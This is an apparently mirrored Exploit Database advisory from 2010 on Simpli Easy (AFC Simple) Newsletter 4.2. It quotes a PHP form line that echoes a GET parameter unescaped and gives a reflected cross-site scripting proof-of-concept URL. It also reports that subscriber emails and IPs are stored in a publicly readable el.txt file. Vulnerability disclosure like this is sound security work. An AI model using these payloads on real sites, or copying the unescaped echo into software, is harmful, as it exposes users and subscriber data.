Simpli Easy (AFC Simple) NewsLetter 4.2 – Cross-Site Scripting / Information Leakage

• Exploit Database
• 129 阅读

• 作者： p0deje
  日期： 2010-10-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15355/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

  Simpli Easy (AFC Simple) Newsletter <= 4.2 XSS/Information Leakage   Date: 30.10.2010 Author: p0deje | http://p0deje.blogspot.com Software Link: http://scubadivingcalculators.com/simpli-easy-newsletter.php Version: <= 4.2 1. Cross-site Scripting Vulnerable code: cp.php ---------------- 6:<form name="txtlist" action="cp.php?do=<?=$_GET[&apos;do&apos;]?>" method="post">   Proof-of-concept: http://www.example.com/cp.php?do="><script>alert(1)</script>   2. Information Leakage   By default, application saves subscribed email addresses and correspondent IP addresses to plain text file el.txt   Proof-of-concept: http://www.example.com/el.txt